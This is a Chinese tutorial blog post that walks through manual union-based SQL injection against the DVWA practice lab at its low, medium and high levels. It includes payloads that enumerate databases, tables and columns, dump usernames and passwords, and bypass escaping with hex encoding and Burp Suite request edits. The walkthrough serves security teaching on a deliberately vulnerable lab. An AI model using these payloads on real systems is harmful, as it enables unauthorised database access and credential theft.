zoukankan      html  css  js  c++  java
  • DVWA-SQL注入-low,medium,high

    DVWA-SQL注入

    漏洞原理:针对SQL注入的攻击行为可描述为通过用户可控参数中注入SQL语法,破坏原有SQL结构,达到编写程序时意料之外结果的攻击行为。其成因可以归结为以下两个原因叠加造成的:
    1,使用字符串拼接的方式构造SQL语句,
    2,没有进行足够的过滤。

    一、SQL注入概念

      SQL注入是指攻击者通过注入恶意的SQL命令,破坏SQL查询语句的结构,从而达到执行恶意SQL语句的目的。

    二、手工注入常规思路

      1.判断是否存在注入. 字符型1' and '1'='1  数字型1 and 1=1(下面的命令皆去掉 ' )

      2.猜解SQL查询语句中的字段数. 1' order by 1#    1' order by 2#  ......等等

      3.确定回显位置。 1' union select 1,2#  

      4.获取当前数据库。1' union select version(),database()#

      5.获取当前数据库中的表。1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

      6.获取表中的字段数。1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#

      7.得到数据。1' union select user,password from users#

    这只是常规的SQL命令,如果源码中设置了转义sql语句中的一些特殊字符,可修改数据包进行绕过。

    三、DVWA注入分析

    将DVWA级别设置为LOW

    1.分析源码,可以看到没有对参数做任何过滤,直接带入数据库进行查询,分析sql查询语句,可能存在字符型sql注入。

    2.判断aql是否存在注入,以及注入的类型。 1’ and ’1’=’1

     3.猜解SQL查询语句中的字数段数,

    1‘ order by 1#

     1‘ order by 2#

     1‘ order by 3#

     从上面的图可以说明,SQL语句查询的表的字段数是2.确定回显的位置(SQL语句查询之后的回显位置)

    1' union select 1,2#      #下图可以看出有2个回显

    查询当前的数据库以及版本, 1' union select version(),database()#

    获取数据库中的表,1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

    获取表中的字段名,1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#

    获得字段中的数据,1' union select user,password from users#

    将DVWA的级别设置为Medium

    中级加入了让一些防御,不让用户输入,只供选择(可以用burpsuit抓包来绕过),分析源码可以看到对参数使用masql_real_escape_string函数转义sql语句中的一些特殊字符,查看sql查询语句可以看出可能存在数字型sql注入。

    通过burpsuit抓包,修改数据包,绕过防御。判断注入点以及注入类型,下图可以看到,存在注入,注入类型是数字型注入。 1 and 1=1#

    猜解sql查询语句中的字段的个数,测试字段个数1, 1 order by 1#

    测试字段个数2, 1 order by 2#

    测试字段个数3, 1 order by 3#  。返回错误页面,所以字段数为2. 就得一个一个试,到返回错误为止。

    确定回显位置,下图可以说明有2个回显位置, 1 union select 1,2#

     获取当前数据库的名称以及版本,  1 union select database(),version()#

    获取数据库中的所有表, 1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

    获取表中的所有字段名,考虑到单引号被转义,可以利用16进制进行绕过。 1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 #

    获取字段中的数据。 1 union select user,password from users#

    将DVWN的级别设置为High

    将dvwa设置为高级,可以看出,点击“here to change your ID”,页面自动跳转。防御了自动化的SQL注入,分析源码可以看到,对参数没有做防御,在sql查询语句中限制了查询条数,可以通过burpsuit抓包,修改数据实现绕过。

    查看源码

    获得密码。 1' union select user,password from users#

    将DWVA的级别设置为Impossible,分析源码可以看出使用了PDO技术,杜绝了SQL注入。

      //PDO就是PHP data Object 提供了PHP操作多种数据库的统一的接口

  • 相关阅读:
    【leetcode】416. Partition Equal Subset Sum
    【leetcode】893. Groups of Special-Equivalent Strings
    【leetcode】892. Surface Area of 3D Shapes
    【leetcode】883. Projection Area of 3D Shapes
    【leetcode】140. Word Break II
    【leetcode】126. Word Ladder II
    【leetcode】44. Wildcard Matching
    【leetcode】336. Palindrome Pairs
    【leetcode】354. Russian Doll Envelopes
    2017.12.22 英语面试手记
  • 原文地址:https://www.cnblogs.com/amberhome-wei/p/12048339.html
Copyright © 2011-2022 走看看